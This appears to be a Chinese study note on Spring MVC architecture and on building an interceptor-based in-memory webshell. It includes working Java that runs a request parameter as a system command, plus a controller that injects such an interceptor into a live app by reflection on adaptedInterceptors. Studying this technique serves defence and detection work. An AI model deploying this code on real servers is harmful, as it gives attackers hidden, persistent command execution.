Spring架构原理 & Spring内存马
spring mvc流程

1.Spring MVC的核心组件和大致处理流程
-
DispatcherServlet是前端控制器,它负责接收Request并将Request转发给对应的处理组件;
-
HandlerMapping负责完成url到Controller映射,可以通过它来找到对应的处理Request的Controller;
-
Controller处理Request,并返回ModelAndVIew对象,ModelAndView是封装结果视图的组件;④~⑦表示视图解析器解析ModelAndView对象并返回对应的视图给客户端。
2.IOC容器
IOC(控制反转)容器是Spring框架的核心概念之一,它的基本思想是将对象的创建、组装、管理等控制权从应用程序代码反转到容器,使得应用程序组件无需直接管理它们的依赖关系。IOC容器主要负责对象的创建、依赖注入、生命周期管理和配置管理等。Spring框架提供了多种实现IOC容器的方式,下面讲两种常见的:
BeanFactory:Spring的最基本的IOC容器,提供了基本的IOC功能,只有在第一次请求时才创建对象。ApplicationContext:这是BeanFactory的扩展,提供了更多的企业级功能。ApplicationContext在容器启动时就预加载并初始化所有的单例对象,这样就可以提供更快的访问速度。
3.Spring MVC 九大组件
这九大组件需要有个印象:
DispatcherServlet(派发Servlet):负责将请求分发给其他组件,是整个Spring MVC流程的核心;
HandlerMapping(处理器映射):用于确定请求的处理器(Controller);
HandlerAdapter(处理器适配器):将请求映射到合适的处理器方法,负责执行处理器方法;
HandlerInterceptor(处理器拦截器):允许对处理器的执行过程进行拦截和干预;
Controller(控制器):处理用户请求并返回适当的模型和视图;
ModelAndView(模型和视图):封装了处理器方法的执行结果,包括模型数据和视图信息;
ViewResolver(视图解析器):用于将逻辑视图名称解析为具体的视图对象;
LocaleResolver(区域解析器):处理区域信息,用于国际化;
ThemeResolver(主题解析器):用于解析Web应用的主题,实现界面主题的切换。
九大组件初始化
首先是 位于 org.springframework:spring-webmvc的:
org.springframework.web.servlet.DispatcherServlet, 查看其类结构, 没有一个总体的init方法, 其父类FrameworkServlet也一样, 但在其父类的父类HttpServletBean存在init方法

其中的逻辑暂且不论, 关键在最后的initServletBean();方法

这个方法接口是留给子类实现的
FrameworkServlet对这个方法进行了实现

其中调用了initWebApplicationContext方法来初始化IOC容器
其中会调用到onRefresh

这个方法也是留给子类实现的

看注释就知道这是在context刷新hou被调用用来执行一些特定于 Servlet的功能
DispatcherServlet对其进行了实现, 可以砍价其中的逻辑就是对九大组件的初始化

SpringMVC 框架Interceptor组件
TestInterceptor.java
package org.example.springdemo.demos.web;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class TestInterceptor extends HandlerInterceptorAdapter {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if(cmd != null){
try {
java.io.PrintWriter writer = response.getWriter();
String output = "";
ProcessBuilder processBuilder;
if(System.getProperty("os.name").toLowerCase().contains("win")){
processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd);
}else{
processBuilder = new ProcessBuilder("/bin/sh", "-c", cmd);
}
java.util.Scanner inputScanner = new java.util.Scanner(processBuilder.start().getInputStream()).useDelimiter("\\A");
output = inputScanner.hasNext() ? inputScanner.next(): output;
inputScanner.close();
writer.write(output);
writer.flush();
writer.close();
} catch (Exception ignored){}
return false;
}
return true;
}
}
需要将TestInterceptor注册进去
WebConfig.java
package org.example.springdemo.demos.web;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new TestInterceptor()).addPathPatterns("/**");
}
}

Spring Interceptor引入与执行流程分析
Spring Interceptor和Filter的区别
| 主要区别 | 拦截器 | 过滤器 |
| 机制 | Java反射机制 | 函数回调 |
| 是否依赖Servlet容器 | 不依赖 | 依赖 |
| 作用范围 | 对action请求起作用 | 对几乎所有请求起作用 |
| 是否可以访问上下文和值栈 | 可以访问 | 不能访问 |
| 调用次数 | 可以多次被调用 | 在容器初始化时只被调用一次 |
| IOC容器中的访问 | 可以获取IOC容器中的各个bean(基于FactoryBean接口) | 不能在IOC容器中获取bean |
Servlet只在第一次访问时才会被加载
断点打在HttpServletBean的init方法, 来看看请求是如何被处理的
看这个调用栈非常熟悉, 还是tomcat那一套

之后就是上面的流程
加载完后 在DispatcherServlet#doDispatch方法也打上断点, 来看看Dispatcher是如何处理请求的
调用栈如下
doDispatch:1047, DispatcherServlet (org.springframework.web.servlet)
doService:964, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:670, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:779, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:117, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:541, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:360, CoyoteAdapter (org.apache.catalina.connector)
service:399, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:893, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1789, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)
从这里可以看出来Dispatcher就是一个之前tomcat中的Servlet
往下走调用了getHandler这个函数

跟进去, 看注释知道他会返回一个与此次request对应的HandlerExecutionChain

其中的逻辑是通过 mapping.getHandler(request);来尝试获取handler, 只要获取到就返回
跟进去看看这个方法

- 先是通过getHandlerInternal来获取,如果获取不到,那就调用getDefaultHandler来获取默认的,如果还是获取不到,就直接返回null;
- 然后检查handler是不是一个字符串,如果是,说明可能是一个Bean的名字,这样的话就通过ApplicationContext来获取对应名字的Bean对象,这样就确保 handler 最终会是一个合法的处理器对象;
- 接着检查是否已经有缓存的请求路径,如果没有缓存就调用
initLookupPath(request)方法来初始化请求路径的查找; - 最后通过
getHandlerExecutionChain方法创建一个处理器执行链。
跟进到getHandlerExecutionChain方法

- 如果 handler 已是 HandlerExecutionChain 类型,则直接使用;
- 否则新建一个包装该处理器的执行链,遍历所有adaptedInterceptors拦截器,若拦截器是 MappedInterceptor 类型且匹配当前请求,则将其加入执行链。
- 返回最终的执行链对象。
这样就得到了executionChain
回到getHandler方法

后面是对于需要跨域的请求的处理
之后回到doDispatch 到applyPreHandle就是遍历执行各个interceptor

可以看见执行到了preHandle方法

interceptor型内存马
思路
Spring Interceptor型内存马的编写思路:
- 获取ApplicationContext
- 通过AbstractHandlerMapping反射来获取adaptedInterceptors
- 将要注入的恶意拦截器放入到adaptedInterceptors中
简单思路:
- 获取当前运行环境的上下文
- 实现恶意Interceptor
- 注入恶意Interceptor
★当一个Request发送到Spring应用时,大致会经过如下几个层面才会进入Controller层:
HttpRequest--> Filter --> DispactherServlet --> Interceptor --> Controller
下面的问题就是如何动态地注册一个恶意的Interceptor了。

可以看见只要反射修改AbstractHandlerMapping即可
我们当前类是RequestMappingHandlerMapping显然是继承了AbstractHandlerMapping
调用栈往回调, 就能看见这个类的来历, 他是DispatcherServlet的this.handlerMappings中其中一个mapping, 听名字就知道是作用于一个request的

按照之前tomcat的思路, 也就是说获取到DispatcherServlet就能获取到它
看了别的文章, 发现使用的是WebApplicationContext来获取abstractHandlerMapping
为什么这样?
WebApplicationContext从何而来? 有什么作用?
这里所说的WebApplicationContext是一个接口, 在springboot启动时便有了一个context

也就是AnnotationConfigServletWebServerApplicationContext 这个类是实现了WebApplicationContext接口的
WebApplicationContext中存放了各种bean, 其中就包括了我们要获取的AbstractHandlerMapping
context创建bean的细节见[[Spring Web MVC 框架#bean创建流程]]
而DispatcherServlet也持有了这个WebApplicationContext

在 Spring Boot 之前,
DispatcherServlet自身需要创建一个子上下文来管理 Web 层 Bean。但在 Spring Boot 的世界里,这个职责被简化了。
现在,
DispatcherServlet的主要任务就是作为一个请求处理器。它不再需要自己去创建和管理 Bean,而是直接使用那个已经创建好的、包含了所有 Bean 的AnnotationConfigServletWebServerApplicationContext。
如何获取WebApplicationContext
按照文章中的说法, 有四种方法:
1.getCurrentWebApplicationContext
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
getCurrentWebApplicationContext 获得的是一个 XmlWebApplicationContext 实例类型的 Root WebApplicationContext。
2.WebApplicationContextUtils
_通过这种方法获得的也是一个Root WebApplicationContext。其中 WebApplicationContextUtils.getWebApplicationContext 函数也可以用 WebApplicationContextUtils.getRequiredWebApplicationContext来替换。
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
3.RequestContextUtils
通过ServletRequest类的实例来获得Child WebApplicationContext。
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
4.getAttribute
这种方式与前几种的思路就不太一样了,因为所有的Context在创建后,都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
先来看getAttribute
getAttribute获取
首先是RequestContextHolder.currentRequestAttributes()可以获取当前的请求和响应组成的一个Attributes

可以看见它把RequestFacade和ResponeFacade包装在一起了
之后可以跟进getAttribute方法
可以看见第二个参数是0的话就是从requestFacade中获取, 否则从session中获取

最终是从Request中的attribute中获取, 这个attribute存储了当前请求的上下文信息还有请求的具体信息

其中就包括了AnnotationConfigServletWebServerApplicationContext, 这正是我们要拿到的
获取requestMappingHandlerMapping
接下来就是从AnnotationConfigServletWebServerApplicationContext管理的众多bean中获取AbstractHandlerMapping
虽说是AbstractHandlerMapping, 具体的类实际上是requestMappingHandlerMapping
可以看之前的图:

在beanFactory存储的单例中可以找到:

我们当然可以反射获取,不过在AnnotationConfigServletWebServerApplicationContext的祖宗类AbstractApplicationContext中实现了getBean方法可以直接获取BeanFactory中的bean

构造并植入interceptor
先准备一个简单的恶意拦截器
public class Shell_Interceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
return true;
}
return false;
}
}
之后就是反射获取再add进去
exp
package org.example.springdemo.demos.web;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.ContextLoader;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List;
@Controller
public class BasicController {
@RequestMapping("/hello")
@ResponseBody
public String hello(@RequestParam(name = "name", defaultValue = "unknown user") String name) {
WebApplicationContext context1 = ContextLoader.getCurrentWebApplicationContext();
if (context1 != null) {
System.out.println(context1.getClass().getName());
}
WebApplicationContext context4 = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
if (context4 != null) {
System.out.println(context4.getClass().getName());
}
AbstractHandlerMapping handlerMapping = (AbstractHandlerMapping)context4.getBean(RequestMappingHandlerMapping.class);
if (handlerMapping != null) {
System.out.println(handlerMapping.getClass().getName());
}
try {
Shell_Interceptor interceptor = new Shell_Interceptor();
Class abstractHandlerMappingClazz = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMapping");
Field adaptedInterceptorsField = abstractHandlerMappingClazz.getDeclaredField("adaptedInterceptors");
adaptedInterceptorsField.setAccessible(true);
List<HandlerInterceptor> adaptedInterceptors = (List<HandlerInterceptor>) adaptedInterceptorsField.get(handlerMapping);
adaptedInterceptors.add(interceptor);
} catch (Exception e) {
e.printStackTrace();
}
return "Hello " + name;
}
public class Shell_Interceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("n4c1");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
return true;
}
return false;
}
}
}

Spring WebFlux 框架
[[Spring WebFlux 框架]]
参考
https://juejin.cn/post/7214831216028745783#heading-4
从零掌握java内存马大全(基于LearnJavaMemshellFromZero复现重组)

浙公网安备 33010602011771号